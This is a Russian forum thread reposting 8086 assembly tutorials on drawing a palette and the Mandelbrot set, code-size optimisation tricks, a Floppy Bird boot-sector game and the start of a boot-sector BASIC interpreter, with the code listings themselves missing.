Теперь вычислим цвет текущего пикселя и выведем его на экран. Причем вычислим так, чтобы цвета выводились квадратиками 16 × 16 пикселей.

Что тут делаем? Берем по четыре бита от двух координат и на их основе высчитываем цвет в диапазоне от 0 до 255 (два раза по четыре бита — это восемь бит; вот и получается нужный диапазон). Вычислив текущий цвет, выводим пиксель на экран. Выводим по адресу, на который указывает регистр DI. Этот адрес мы вычислили на предыдущем шаге.

А дальше просто закручиваем двойной цикл, который пробегает по всем столбцам и строкам и рисует пиксели нужного цвета, чтобы в итоге получилась палитра.

Что тут делаем? Ну, во-первых, делаем цикл. А после того, как все пиксели нарисованы, ждем, когда пользователь нажмет клавишу. После этого восстанавливаем текстовый режим и возвращаемся в командную строку.

При помощи этой программы при желании можно выбирать цвет. Поскольку они не подписаны, алгоритм такой: отсчитай квадратики до нужной строки сверху вниз в шестнадцатеричной системе счисления и начиная с 0 — так у тебя получится левая цифра цвета. Затем отсчитай слева направо до нужного столбца — так ты получишь правую цифру цвета.

Например, левый верхний черный квадратик нарисован цветом 0x00, а верхний правый квадратик белого цвета — 0x0F.


Рисуем множество Мандельброта: подготовительные шаги​

Теперь, когда ты узнал, как работать с большими 32-битными числами и как рисовать пиксели в графическом режиме, давай напишем программу посложнее — будем рисовать множество Мандельброта.

Вот алгоритм, который мы с тобой сейчас реализуем.

Или, если ты знаком с С, вот аналогичный сишный код.

Давай реализуем этот алгоритм на ассемблере.

Обрати внимание: fractX и fractY — это 32-битные дробные числа. В них первые 24 байта хранят целую часть числа, а оставшиеся восемь — дробную. Например, 1.0 сохраняется как 0x00000100 (или 256 в десятичной системе счисления).

Имей в виду, что произведение двух таких дробных чисел удваивает количество битов, отведенных под дробную часть, и поэтому результат надо обязательно поделить на 256. Например, 0x0100 * 0x0100 = 0x010000. Но после деления на 256 результат будет выглядеть корректно: 0x0100 (1.0 * 1.0 = 1.0).

На этом все предварительные замечания сделаны. Начинаем писать программу.

Что мы тут делаем? Директивой cpu просим компилятор проконтролировать, что мы используем инструкции только из набора 8086 (или его собрата — 8088).

Затем задаем адреса для нужных нам переменных. Обрати внимание, что переменные fractX и fractY занимают по четыре байта, а не по два, как остальные. А промежуточная переменная dest48bit вообще занимает шесть. Она нам нужна для реализации алгоритма умножения 32-битных чисел.

Затем переходим в графический режим 320 × 200 × 256 и нацеливаем сегментные регистры на видеопамять экрана.

Снова, как и в случае с программой-палитрой, начинаем рисовать от правого нижнего пикселя экрана. Его координаты (xScreen, yScreen) такие: (319, 199). Смотри не спутай xScreen и yScreen с fractX и fractY, которые нужны не для рисования графики, а для сопутствующих математических вычислений.

Теперь реализуем первый шаг алгоритма: зададим начальные значения для fractX и fractY, а также для счетчика итераций.

Обрати внимание: для инициализации переменных fractX и fractY мы используем по две инструкции mov, потому что эти переменные 32-битные.


Краткий ликбез по работе со стеком​

Начальные значения заданы, теперь проверим условие выхода.

Что мы тут делаем? Во-первых, активно используем стек. До сих пор я не рассказывал, в каком порядке данные хранятся в стеке, но теперь пришло время разобраться в этом.

Начну с объяснения на пальцах, а уже потом познакомлю тебя с формальным определением.

Представь, что ты кладешь тарелку на стопку тарелок. Как раз так и работает push. А теперь представь, что ты снимаешь верхнюю тарелку со стопки тарелок. Так работает инструкция pop.

Такой способ хранения данных называется LIFO (last in first out, пришел последним — уйдет первым). Как этот принцип отражается на нашей программе? Мы кладем на стек сначала DX, потом AX (результат операции x^2). Потом первая инструкция pop bx снимает сохраненное значение AX и кладет его в BX, а вторая инструкция pop bx снимает сохраненное значение DX.

Более сложное и точное объяснение звучит так. Инструкции push, pop, call и ret отталкиваются от регистра SP (stack pointer — указатель стека). SP указывает на текущую ячейку в сегменте стека. Адрес сегмента стека хранится в регистре SS.

Всякий раз, когда ты кладешь данные на стек, используя инструкцию push, регистр SP уменьшается на 2, а данные (сдвоенный байт) записываются в память по адресу, на который указывает регистр SP.

Каждый раз, когда ты снимаешь данные со стека, используя функцию pop, данные (сдвоенный байт) считываются с адреса, который указан в регистре SP, а SP увеличивается на 2.


Рисуем множество Мандельброта: делаем вычисления​

Идем дальше. Пишем тело основного цикла. Сначала вычисляем значение t = x^2 – y^2 + i * x (смотри чуть выше картинку с алгоритмом).

Обрати внимание, как я тут прибавляю к xScreen 32-битное значение. Поскольку инструкция add работает с 16-битными числами, я добавляю инструкцию adc dx, 0 — для завершения операции сложения.

Теперь вычислим значение y = 2x * y + i * y (смотри чуть выше картинку с алгоритмом).

Обрати внимание на комбинацию двух операций: shl ax, 1 и rcl dx, 1. Вместе они реализуют 32-битное умножение на два (через сдвиг влево). Первая инструкция сдвигает AX на один бит влево и подставляет справа ноль. После выполнения этой инструкции тот бит, который вытеснился слева, попадает во флаг переноса. Вторая инструкция (rcl) сдвигает DX влево и подставляет на освободившееся справа место бит из флага переноса.

Дальше готовимся к следующей итерации цикла.

Что мы тут делаем? Вначале снимаем со стека какое-то значение. Помнишь, что там хранится? Там сейчас хранится новое значение для переменной fractX! Если не понимаешь, как оно там оказалось, вернись назад и найди строку sub ax, 480. После этой инструкции мы положили на стек 32-битное значение. Вот его мы сейчас и снимаем со стека.

Обрати внимание, мы не можем записать это значение сразу в fractX, потому что предыдущее значение fractX нам еще нужно — для вычисления координаты fractX.

После этого увеличиваем счетчик итераций (CX) и сравниваем его с числом 100. Когда он достигает ста, выходим из цикла, а иначе переходим к следующей итерации (прыгаем на @@nextIter).

А теперь самое интересное! До сих пор мы только делали математические расчеты и ничего не рисовали на экране. Пришло время порисовать. Рисуем!

Что мы тут делаем? Почти то же самое, что и в программе-палитре. За исключением того, что к значению CL (0–99) добавляем число 32 — чтобы сразу попасть на цвета радуги, а не на серые.

С множеством Мандельброта закончили! Но мы еще не написали подпрограмму для 32-битного умножения. По сравнению с тем вариантом, который мы разбирали вначале, здесь есть несколько доработок. Подпрограмма теперь принимает дробные числа со знаками.


Усовершенствованная подпрограмма умножения 32-битных чисел​

Вот ее листинг с комментариями.

Рекомендую поэкспериментировать со значениями смещения, которые мы задали для центровки изображения (480 и 300). И попробуй удалить дублированные инструкции add для yScreen и xScreen, а еще поменять количество итераций. Сейчас установлено значение 100. Можешь попробовать задать значение больше или меньше.


Выводы​

Поздравляю, ты сделал еще один шаг в освоении асма! Ты научился оперировать большими числами, выполнять сложные математические расчеты и работать в графическом режиме. Теперь ты можешь писать на ассемблере довольно-таки сложные программы. До встречи на следующем уроке!
 

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

  • Резьба по ассемблерному коду
  • Читаем данные из памяти по-новому
  • Копируем данные, не используя циклы
  • Сравниваем строки, не используя циклы
  • Меняем местами значения двух регистров
  • Выполняем восьмибитные операции экономно
  • Знакомимся с двоично-десятичным кодом
  • Умножаем и делим на 10 экономно
  • Еще несколько полезных трюков
  • Выводы
Из этой статьи ты узнаешь несколько трюков, которые помогут тебе сокращать размер ассемблерных программ. Попутно окунешься в настроение «Клуба моделирования железной дороги» Массачусетского технологического института, где такие трюки в свое время ценились особенно высоко.

РЕЗЬБА ПО АССЕМБЛЕРНОМУ КОДУ​

Надеюсь, ты знаешь книгу Стивена Леви «Хакеры: герои компьютерной революции». Если нет, обязательно прочти! Сейчас мы с тобой поностальгируем по тем славным временам, которые описывает Леви. В частности, вспомним, чем пионеры хакерства занимались в «Клубе моделирования железной дороги» Массачусетского технологического института и как они кодили.

Хакеры тех времен, корпя над своими программами, пытались выжать из ассемблерных инструкций все, что только возможно, чтобы в итоге программа стала максимально компактной. Попытки отрезать часть инструкций от компьютерной программы без воздействия на конечный результат стали для хакеров навязчивой идеей.


Иногда такая резьба по ассемблерному коду принимала состязательный характер — своеобразное соревнование мачо, призванное доказать себе и другим, что совершенству нет предела. Ты отрезал две инструкции или даже одну? Получи бурные аплодисменты братьев по духу. Ты пересмотрел проблему с нуля, с неожиданного угла зрения и разработал новый алгоритм, который сократил программу на целый блок команд? Испытай катарсис и получи еще более бурные аплодисменты!

Особое рвение хакеры проявляли к оптимизации подпрограммы для печати десятичных чисел. За несколько месяцев они изготовили целую кучу вариаций. С чего вдруг такой интерес именно к этой задаче?

С того, что в MIT действовало негласное правило: «Если ты собственноручно написал подпрограмму печати десятичных чисел, значит, знаешь о компьютере достаточно, чтобы называть себя в некотором роде программистом. Причем, если у тебя ушло на эту подпрограмму около сотни ассемблерных инструкций, значит, ты беспроглядный глупец, хотя и программист. А если написал действительно хорошую и короткую процедуру меньшего размера, то можешь попробовать называть себя хакером».

В конечном счете, попеременно убирая инструкции то в одном, то в другом месте, хакеры допилили процедуру печати десятичных чисел до пятидесяти с небольшим инструкций.

Дальше дело приняло серьезный оборот. Поиск лучшего решения превратился в нечто большее, чем просто состязание, — в поиск святого Грааля. Однако, сколько бы сил ни было потрачено, никому не удавалось преодолеть барьер из пятидесяти команд. И когда практически все уже смирились с тем, что это невозможно, один из хакеров догадался посмотреть на решение задачи под другим углом. В итоге его версия подпрограммы уместилась в 46 ассемблерных инструкций.

До этого знаменательного часа все считали, что оптимальный алгоритм для подпрограммы печати десятичных чисел — это последовательное вычитание, при котором использовались таблицы степеней числа 10. Однако, как оказалось, задачу можно решить и без такой таблицы. Леви, к сожалению, не приводит ассемблерный код в своей книге, поэтому познакомиться с этим шедевром у нас не получится.

Но не спеши расстраиваться. Сейчас я покажу тебе свою версию такой подпрограммы. Она у меня уместилась в 12 инструкций (и 23 байта).

Кому‑то может показаться, что столько заморачиваться ради того, чтобы сократить размер программы, в наши дни уже не имеет смысла. Однако такой навык очень пригождается, когда пишешь какой‑нибудь шелл‑код или редактируешь скомпилированный бинарник. И в том и в другом случае нужно уметь обходиться как можно меньшим количеством ассемблерных инструкций. И сейчас я покажу несколько трюков, которые помогут тебе сокращать размер своих ассемблерных программ.


ЧИТАЕМ ДАННЫЕ ИЗ ПАМЯТИ ПО-НОВОМУ​

Во всех предыдущих уроках мы читали память, ссылаясь на нужную нам ячейку через регистр BX. Примерно вот так.

Но то же самое можно сделать и вот так.

Инструкция lodsb говорит процессору 8088: «Загрузи байт из адреса, на который указывает DS:SI, и сохрани этот байт в регистр AL. И затем увеличь SI на единицу (если флаг направления сброшен в 0)».

Еще у 8088 есть инструкция lodsw, которая работает почти как lodsb, только загружает из DS:SI слово (сдвоенный байт), сохраняет результат в регистр AX и увеличивает SI на 2.


КОПИРУЕМ ДАННЫЕ, НЕ ИСПОЛЬЗУЯ ЦИКЛЫ​

Зная о существовании инструкций lodsb/lodsw и их противоположностей stosb/stows, мы можем написать подпрограмму для копирования области памяти.

Этот внутренний цикл занимает всего четыре байта. Но у процессора 8088 есть инструкции movsb и movsw, которые делают ту же самую операцию, но при этом не используют регистр AL или AX.

Теперь внутренний цикл занимает три байта. Но и это не предел! Мы можем сделать все то же самое без инструкции loop.

Обрати внимание, что movsb — это две инструкции в одной: lodsb и stosb. И аналогично в movsw скомбинированы lodsw и stosw. При этом movsb/movsw не используют регистры AL/AX, что весьма приятно.


СРАВНИВАЕМ СТРОКИ, НЕ ИСПОЛЬЗУЯ ЦИКЛЫ​

У 8088 есть инструкции для сравнения строк (cmps) и инструкция для сравнения регистра AX или AL с содержимым памяти (scas).

Эти инструкции выставляют флаги в регистре флагов, так что после их выполнения можно использовать условные переходы.

Инструкция cmpsb выполняет сравнение двух байт — того, на который указывает DS:SI, и того, на который указывает ES:DI, — и после этого увеличивает оба индексных регистра на единицу: SI, DI (или уменьшает на единицу, если флаг направления установлен в единицу).

Инструкция cmpsw делает то же самое, но только не с байтами, а со словами (сдвоенными байтами) и уменьшает или увеличивает индексные регистры не на 1, а на 2.

Обрати внимание, что и та и другая инструкция не пользуется регистрами AL и AX, то есть наш самый ходовой регистр остается нетронутым. Это очень хорошо.

Инструкция scasb сравнивает AL с байтом, на который указывает ES:DI, затем увеличивает DI на единицу (или уменьшает, если флаг направления установлен в единицу).

Инструкция scasw делает то же самое, но только с регистром AX и уменьшает или увеличивает индексные регистры не на 1, а на 2.

Перед этими четырьмя инструкциями можно ставить префикс repe/repne, что значит «продолжать выполнять данную инструкцию до тех пор, пока не будет выполнено условие завершения» (E значит equal, равно, NE — not equal, не равно).


МЕНЯЕМ МЕСТАМИ ЗНАЧЕНИЯ ДВУХ РЕГИСТРОВ​

Допустим, в регистре AX записана четверка, а в DX семерка. Как поменять местами значения регистров?

Вот первое, что приходит на ум.

Такой код занимает четыре байта. Неплохо, но, может быть, есть вариант покороче? Еще на ум приходит что‑то вроде такого, со вспомогательным регистром.

Но такой код занимает даже еще больше памяти — шесть байт. Размышляя дальше, мы можем задействовать хитрый трюк с исключающим ИЛИ, без вспомогательного регистра.

Но только этот вариант кода занимает столько же байтов, сколько предыдущий вариант. Так что выглядит он, конечно, изящно, но особых преимуществ не дает.

А теперь внимание! У процессора 8088 есть специальная инструкция, которая как раз и предназначена для обмена регистров. Обрати внимание, когда один из двух ее операндов — это регистр AX, она занимает один байт, в противном случае — два байта.


ВЫПОЛНЯЕМ ВОСЬМИБИТНЫЕ ОПЕРАЦИИ ЭКОНОМНО​

Если выполняешь несколько восьмибитных операций с константами, лучше используй регистр AL. Большинство арифметических и логических инструкций (в том варианте, когда один операнд — это регистр, а другой — это константа) получаются короче, если ты используешь регистр AL. Например, add al, 0x10 занимает два байта, тогда как add bl, 0x10 занимает три байта. И само собой, чем больше инструкций в твоей цепочке преобразований, тем больше байтов ты сэкономишь.

С 16-битными регистрами такая же история: с регистром AX арифметические и логические инструкции получаются короче. Например: add ax, 0x1010 (три байта), add bx, 0x1010 (четыре байта).

Однако, когда в логической или арифметической инструкции один из операндов — это короткая константа в диапазоне –128..127, то инструкция оптимизируется до трех байт.


ЗНАКОМИМСЯ С ДВОИЧНО-ДЕСЯТИЧНЫМ КОДОМ​

Когда тебе позарез надо работать именно с десятичными числами, а не с шестнадцатеричными, но при этом не хочется делать сложные преобразования между двумя системами счисления, используй двоично‑десятичный код. Что это за код? Как в нем записываются числа? Смотри. Допустим, у тебя есть десятичное число 2389. В двоично‑десятичном коде оно выглядит как 0x2389. Уловил смысл?

Для работы с двоично‑десятичным кодом в процессоре 8088 предусмотрены инструкции daa и das. Инструкция daa используется после add, а инструкция das — после sub.

Например, если в регистре AL записано 0x09 и ты добавишь 0x01 к этому значению, то там окажется 0x0a. Но когда ты выполнишь инструкцию daa, она скорректирует AL до значения 0x10.


УМНОЖАЕМ И ДЕЛИМ НА 10 ЭКОНОМНО​

У процессора 8088 есть две любопытные инструкции: AAD/AAM. Изначально они задумывались для того, чтобы распаковывать двухциферные десятичные числа из AH (0–9) и AL (0–9). Обе инструкции занимают по два байта.

Инструкция AAD выполняет вот такую операцию:

Код:
AL = AH*10+AL
AH = 0
А вот что выполняет инструкция AAM:

Код:
AH = AL/10
AL = AL%10
Эти две инструкции позволяют сберечь драгоценные байты, когда тебе надо 8-битное число умножить или поделить на 10.


ЕЩЕ НЕСКОЛЬКО ПОЛЕЗНЫХ ТРЮКОВ​

Инициализируй числа при помощи XOR. Если тебе надо сбросить в 0 какой‑то 16-битный регистр, то короче всего это сделать так (на примере регистра DX).

Инкрементируй AL, а не AX. Везде, где это возможно, пиши inc al вместо inc ax. А где это возможно? Там, где ты уверен, что AL не выйдет за пределы 255. То же самое с декрементом. Если ты уверен, что AL никогда не будет меньше нуля, лучше пиши dec al, а не dec ax. Так ты сэкономишь один байт.


Перемещай AX через XCHG. Если тебе надо скопировать AX в какой‑то другой регистр, то пиши вот так: xchg ax, reg. Инструкция xchg занимает всего один байт, тогда как mov reg, ax — два.

Вместо cmp ax, 0 используй test ax, ax. Так ты сэкономишь один байт.

Возвращай результат через регистр флагов. Когда пишешь подпрограмму, которая должна возвращать только значения True и False, пользуйся регистром флагов. Для этого внутри подпрограммы применяй инструкции clc и sec, чтобы сбрасывать и устанавливать флаг переноса. И потом после выполнения подпрограммы используй jc и jnc — для обработки результата функции. Иначе придется потратить кучу байтов на инструкции присваивания вроде mov al, 0 и mov al, 1 и на инструкции сравнения вроде test al, al, and al, al, or al, al или cmp al, al.


ВЫВОДЫ​

Ну вот, теперь ты знаешь несколько трюков, которые помогут тебе делать свои ассемблерные программы более компактными. Этот урок был последним из нашего вводного курса «Погружение в ассемблер». Если ты прилежно вчитывался во все предыдущие статьи и собственноручно щупал ассемблерные программы из них, можешь считать, что твое знакомство с ассемблером прошло успешно. Но само собой, чтобы освоить ассемблер, недостаточно просто прочитать несколько статей и перепечатать из них с десяток чужих программ. Здесь, как и в любом другом деле, нужна постоянная практика и общение с единомышленниками.
 

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

  • Подготовка
  • (Пере)запускаем игру
  • Начинаем игровой цикл: высчитываем координаты птицы и рисуем ее
  • Продолжаем игровой цикл: смотрим, нет ли столкновений
  • Завершаем игровой цикл: проверяем, не встретилась ли на пути труба
  • DelayBeforeCadr: делаем задержку
  • MoveScene: перерисовываем игровое поле
  • MoveScene: рисуем трубу
  • Сигнатура загрузочного сектора
Хочешь попрактиковаться в кодинге на ассемблере? Давай вместе шаг за шагом создадим игру и запустим ее прямо из загрузочного сектора твоего компьютера. Если ты думаешь, что 512 байт маловато для полноценной игры, не спеши с выводами. К концу статьи ты сможешь сделать ее своими руками!
Да, затолкать что-то вразумительное в 512 байт загрузочного сектора — та еще задачка. Бутсекторная программа выполняется до запуска операционной системы, а значит, функции ОС ей недоступны.

Даже для такого, казалось бы, простого действия, как вывести число на экран, придется писать свою собственную подпрограмму. Кроме того, забудь о высоком разрешении экрана, простом и удобном доступе к GPU и звуковой карте. А еще учти, что BIOS, выполняя бутсекторную программу, смотрит на процессор твоего Ryzen или Core i9 как на примитивный 16-битный 8088.


Вводные не очень-то обнадеживают! Но базовые функции BIOS у нас никто не отнимал. Мы можем выводить текст, рисовать крупноразмерные пиксели, читать системный таймер, следить за клавиатурой. Этого вполне хватит для несложной игрушки!

На случай, если ты пропустил шумиху в 2013 году, поясню смысл игры. Летящая слева направо по экрану птаха должна облетать торчащие снизу и сверху экрана трубы. Если игрок ничего не делает, она самопроизвольно снижается. Нажатие на кнопку заставляет ее взмахнуть крыльями и немного подняться вверх. Секрет в том, чтобы соблюдать нужный ритм и не врезаться. Вот и вся игруха.

А теперь возьмемся за реализацию!


Подготовка​

Говорим компилятору, что наша программа 16-битная, резервируем несколько ячеек памяти под переменные, прыгаем на точку входа. Обрати внимание, что мы здесь не создаем переменные, не выделяем для них память, а просто задаем мнемонику для ячеек памяти, которые уже существуют.

Делаем еще несколько подготовительных телодвижений:

  • переходим в текстовый режим 25 × 80 и очищаем экран;
  • сбрасываем «флаг направления», чтобы строки обрабатывались слева направо, а не наоборот (когда будем обращаться к инструкциям вроде stosw);
  • сегментные регистры нацеливаем на область оперативной памяти, которая отображена на видеопамять. Так нам будет удобней отрисовывать игровое поле.
Инициализируем переменные. При этом стараемся сэкономить количество используемых байтов. Когда мы сначала помещаем нужное нам значение в AX, а затем через stosw присваиваем его очередной переменной, получается меньше байтов, чем когда мы самостоятельно инициализируем каждую переменную. Особенно когда присваиваем одинаковые значения — как два нуля вначале.
Надо дать игроку успеть приноровиться к управлению, поэтому первую трубу отрисовываем только после 160-го кадра. В next запишем число 160 (0xA0) и пишем не mov ax, 0x00A0, а mov al, 0xA0. Нам, конечно, важно, чтобы в AH был ноль, но мы точно знаем, что он и так уже там, поэтому тратить целый байт на повторное обнуление мы не будем.


(Пере)запускаем игру​

Выводим название игры. Здесь каждый символ кодируется двумя байтами: цвет и символ. Цвет задаем только один раз (0x0F во втором mov). Так мы экономим еще несколько байтов.

При помощи подпрограммы MoveScene (ее мы напишем чуть позже) сдвигаем игровое поле влево на один столбец и на освободившемся месте рисуем новый столбец. Поскольку ширина экрана у нас 80 символов, мы вызываем MoveScene 80 раз.

После того как вывели название игры и нарисовали игровое поле, не начинаем игру сразу, а ждем, пока игрок сориентируется и нажмет какую-нибудь клавишу. Если к этому моменту в буфере клавиатуры зафиксированы какие-то нажатия, игнорируем их.

Каким образом игнорируем? Вызываем первую функцию (0x01) прерывания 0x16, то есть смотрим, нет ли чего-то в буфере клавиатуры. Обращаемся к 0x01 в цикле, до тех пор пока не опустошим буфер. А опустошаем мы его с помощью функции 0x00 того же прерывания. Опустошив буфер, вызываем 0x00 еще раз и ждем, пока игрок клацнет по клавиатуре.


Начинаем игровой цикл: высчитываем координаты птицы и рисуем ее​

Мы подошли к главному игровому циклу. Здесь настраиваем гравитацию, чтобы птичка снижалась самопроизвольно на каждой итерации цикла. Вдобавок, чтобы играть было веселее, делаем так, что чем дольше игрок не нажимает клавишу, тем сильнее гравитация тянет героя игры вниз.

Текущее значение гравитации помещаем в AL, чтобы рассчитать позицию на экране. Учти, что bird — это дробное число (пять бит на целую часть, три бита на дробную).

Итоговый результат умножаем на 20. Так мы подстраиваемся под то, что каждая строка на мониторе состоит из 160 байт. Затем добавляем 32 к полученному числу, чтобы птичка не жалась к левой границе, а летела на некотором расстоянии от нее.

То, что получилось, помещаем в DI инструкцией xchg ax, di, поскольку AX нельзя применять в качестве указателя. Обрати внимание: мы здесь используем xchg вместо mov не потому, что хотим сберечь значение, которое хранил DI, а потому, что с mov код получился бы больше на целый байт!

Счетчик рисуемых кадров Сadr нам нужен, чтобы высчитывать моменты, когда надо рисовать «крыло вверх». Перед тем как рисовать крыло (см. инструкции вроде mov word [di]), мы сначала считываем текущее содержимое соответствующей ячейки памяти (см. инструкции вроде mov al, [di]). Смещение 160 позволяет посмотреть, что находится под птицей, а 2 — что сбоку от нее. Ты же помнишь, что каждый символ у нас кодируется двумя байтами (цвет и символ)?


Продолжаем игровой цикл: смотрим, нет ли столкновений​

Проверяем, есть ли столкновение. Для этого достаточно одной-единственной инструкции cmp. Отводить на каждое условие по отдельной cmp слишком расточительно — много байтов израсходуем. Так что мы всю информацию о возможных столкновениях сначала суммируем в AL и только потом проверяем, не вмазалась ли птица куда-то.

Если AL не равно 0x40, столкновение есть. Что это за мистика такая, как это число дает нам такую ценную информацию? Суть вот в чем. Если в анализируемых ячейках не было препятствий, значит, там хранятся символы пробела. А код пробела — 0x20; 0x40 — это сумма двух пробелов. Если результат отличен от 0x40, значит, птица во что-то влетела. В таком случае пишем многозначительное BA][.

Если птица таки врезалась во что-то, перезапускаем игру не сразу. Выжидаем некоторое время, чтобы игрок успел осознать случившееся и погоревать. По результатам психологического тестирования и нескольких сеансов расстановок по Хеллингеру мы выяснили, какое время для этого необходимо. 100 промежутков, которые мы ждем перед отрисовкой каждого кадра (см. следующий шаг), будет в самый раз.

Если игра идет своим чередом, то при помощи подпрограммы DelayBeforeCadr (ее мы напишем чуть позже), делаем небольшую задержку перед следующим сдвигом экрана.

После каждого восьмого сдвига слегка увеличиваем гравитацию, так играть будет интересней. Затем стираем птицу с экрана, чтобы потом ее отрисовать на следующей итерации игрового цикла. Только хвост не затираем, ради красивой анимации. Затем дважды вызываем подпрограмму MoveScene — и птица продвигается вперед еще на два шага.


Завершаем игровой цикл: проверяем, не встретилась ли на пути труба​

Если птичка встретила на своем пути трубу, плюсуем счетчик score и выводим его обновленное значение на экран. Для этого переводим число в строковое представление и рисуем его на экране. На каждую цифру по одной итерации цикла.

Смотрим, не нажал ли игрок клавишу (ты еще помнишь, это первая функция прерывания 0x16). Если игрок ничего не нажимал, переходим к следующей итерации игрового цикла. Но не напрямую туда, а транзитом через @@ToJmp_Main. Можно было бы и сразу прыгнуть на @@MainGameLoop, но тогда выйдет на два байта больше, потому что эта метка далеко от текущей позиции кода.

Если кнопка таки нажата, смотрим какая (нулевая функция того же прерывания). Escape — выходим из игры, либо в DOS, либо в никуда, если игра запущена из загрузочного сектора. Когда нажата не Escape, а какая-то другая клавиша, приподнимаем птицу и сбрасываем гравитацию в ноль (переменная grav).

Все, главный игровой цикл готов. Осталось написать две подпрограммы: DelayBeforeCadr, которая делает задержку, и MoveScene, которая сдвигает игровое поле влево на один символ.


DelayBeforeCadr: делаем задержку​

Задержку организуем при помощи системных часов, к которым обращаемся через int 0x1A. Системные часы тикают каждые 55 мс — отсчитывают время, прошедшее с момента включения компьютера. Функция 0x00 возвращает текущее количество тиков в CX:DX (четырехбайтовое число).

Как работает DelayBeforeCadr? Считываем текущее количество тиков, сохраняем его. И затем опять считываем его, но уже в цикле. Как только значение меняется — выходим из цикла. Здесь же инкрементируем счетчик cadr. Логичней, конечно, было бы инкрементировать не здесь, а там, где эта подпрограмма используется, но тогда этот инкремент нужно будет делать при каждом обращении к DelayBeforeCadr. А это дополнительные байты, которые у нас в дефиците.


MoveScene: перерисовываем игровое поле​

Сначала сдвигаем игровое поле влево на один символ. Сдвигаем все строки, за исключением первой. Там у нас написано название игры и сколько очков набрал игрок. Их двигать не надо.

Нацеливаем SI на первый символ первой строки (отсчитываем с нуля), а DI — на нулевой символ первой строки. Зачем? Чтобы, когда будем делать movsw, два байта из [SI] перемещались в [DI]. Помнишь ведь, что эти два байта — код символа и цвет?

Выполняем movsw по 79 раз для каждой строки и в результате сдвигаем все строки экрана влево.

Рисуем подобие почвы (зеленая полоска) и затем дома. Чтобы было красивее и динамичней, этажность домов (один или два) выбираем случайно. Не то чтобы прямо случайно, но примерно случайно. За «случайным» числом обращаемся к микросхеме системного таймера (in al, 0x40), которая при каждом обращении выдает новое число. Отталкиваясь от этого значения, мы рисуем либо одноэтажный домик, либо двухэтажный.

В псевдографике есть символ, который похож на стену с окошком, — 0x08. Вот его мы и используем. Крышу рисуем символом треугольника (0x1E).


MoveScene: рисуем трубу​

При каждом сдвиге игрового поля счетчик next уменьшаем на единицу. Когда в счетчике оказывается число 3, 2, 1 или 0 — самое время рисовать трубу. Когда счетчик равен трем, выбираем «случайное» положение для дырки в трубе: число от 4 до 11.

Отталкиваясь от того, какое число в next (3, 2, 1 или 0), выбираем, какой символ псевдографики рисовать. Правый край отрисовываем редкой сеточкой (0xB0), левый — плотной сеточкой (0xB1), середину — сплошным цветом (0xDB).

Столбик за столбиком отрисовываем всю трубу. Начинаем с первой строки справа (нулевую пропускаем) и рисуем верхнюю часть трубы (CX — счетчик для hole). Затем рисуем тонкую линию под верхней частью трубы (0xC4). Пропускаем шесть строчек — чтобы образовалась достаточная для пролета дырка. Рисуем толстую линию над нижней частью трубы (0xDF). И наконец, нижнюю часть.

Чем больше труб уже нарисовано, тем меньше расстояние делаем до следующей. Но не меньше 17 символов. Если игрок оказался уж очень проворным и трубы у него пошли совсем близко, то не даем им рисоваться вплотную друг к дружке: достигнув значения 17, счетчик next больше не уменьшается.


Сигнатура загрузочного сектора​

Загрузочный сектор в машинах IBM PC хранит 510 байт. Два недостающих байта от 512 зарезервированы под сигнатуру: 0x55, 0xAA. Считывая загрузочный сектор, BIOS ищет эту сигнатуру в его двух последних байтах. Ее наличие означает, что в загрузочном секторе записана программа, которую надо выполнить.

На древних досовских дисках эта программа парсила файловую систему FAT, чтобы найти там два файла: io.sys и msdos.sys. Затем программа загружала io.sys, который, в свою очередь, загружал msdos.sys.

В бутсекторе очень мало свободного пространства и набор доступных функций ограничен, поэтому сложно придумать для него какое-то другое дело, кроме загрузки системы. Однако у нас с тобой получилось засунуть туда нечто куда более интересное!

И напоследок пара организационных моментов. Для компиляции программы лучше использовать nasm: nasm -f bin flobird.asm -o flobird.com. А если боишься редактировать бутсектор, можешь играть в Floppy Bird через эмулятор DOS — например, DOSBox. Но только учти, что тот трюк, который мы предприняли для генерации случайных чисел, не работает в эмуляторе и поэтому «случайная» этажность домов получается ну совсем не случайной.
 

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

  • Как пользоваться интерпретатором
  • Начинаем делать интерпретатор
  • Запускаем главный рабочий цикл
  • Обрабатываем строки программы
  • Выполняем команду list
  • Выполняем функцию input
  • Обрабатываем выражения
  • Подпрограмма: адрес переменной по ее имени
  • Подпрограмма: печать десятичного числа
  • Подпрограмма: из десятичной строки в шестнадцатеричное число
  • Выполняем команды run/goto
  • Подпрограмма: принимаем с клавиатуры строки исходника
  • Выполняем функцию print
  • Подпрограммы: ввод-вывод символов
  • Таблица команд, функций и операторов
  • Тестируем интерпретатор: пишем программу «Треугольник Паскаля»

Хочешь попрактиковаться в кодинге на ассемблере? Давай вместе шаг за шагом создадим интерпретатор бейсика и запустим его прямо из загрузочного сектора твоего компьютера. Для этого придется задействовать перекрывающиеся подпрограммы с разветвленной рекурсией, иначе бейсик не уместится в 512 байт. Скорее всего, это будет самая сложная программа в твоей жизни. Когда ты создашь ее своими руками, сможешь без зазрения совести называть себя хакером.

INFO​

С месяц назад я рассказывал, как написать игрушку FloppyBird, которая тоже умещалась в бутсектор. Но по сравнению с тем, что мы с тобой сотворим сейчас, она покажется тебе мелкой шалостью.

Как пользоваться интерпретатором​

По сути, написав бейсик для бутсектора, мы превратим твой ПК в аналог старых домашних компьютеров типа Commodore 64 или ZX Spectrum, которые имели этот язык в ПЗУ и позволяли программировать на нем сразу после загрузки.


Техническое задание (что будет уметь наш интерпретатор) я сформулирую в виде инструкции пользователя. Вот она.

Интерпретатор работает в двух режимах: интерактивном и обычном. В интерактивном режиме он выполняет команды сразу после ввода.

В обычном режиме сначала надо занести исходник программы в память и затем дать команду run.

Если нужно удалить строку из исходника, просто введи в командной строке ее номер.

Как интерпретатор узнаёт, в каком режиме обрабатывать текст из командной строки? Если строка начинается с номера, интерпретатор обрабатывает ее в обычном режиме. Если не с номера — в интерактивном.

Максимальный размер программы — 999 строчек. Максимальная длина строки — 19 символов. Обрати внимание, что клавиша Backspace функционирует как надо. Хоть на экране символ и не затирается, в буфере все в порядке.

В распоряжении у программиста:

  • три команды: run (запускает программу), list (выводит исходник на экран), new (стирает программу);
  • 26 переменных (от a до z): двухбайтовые целые числа без знака;
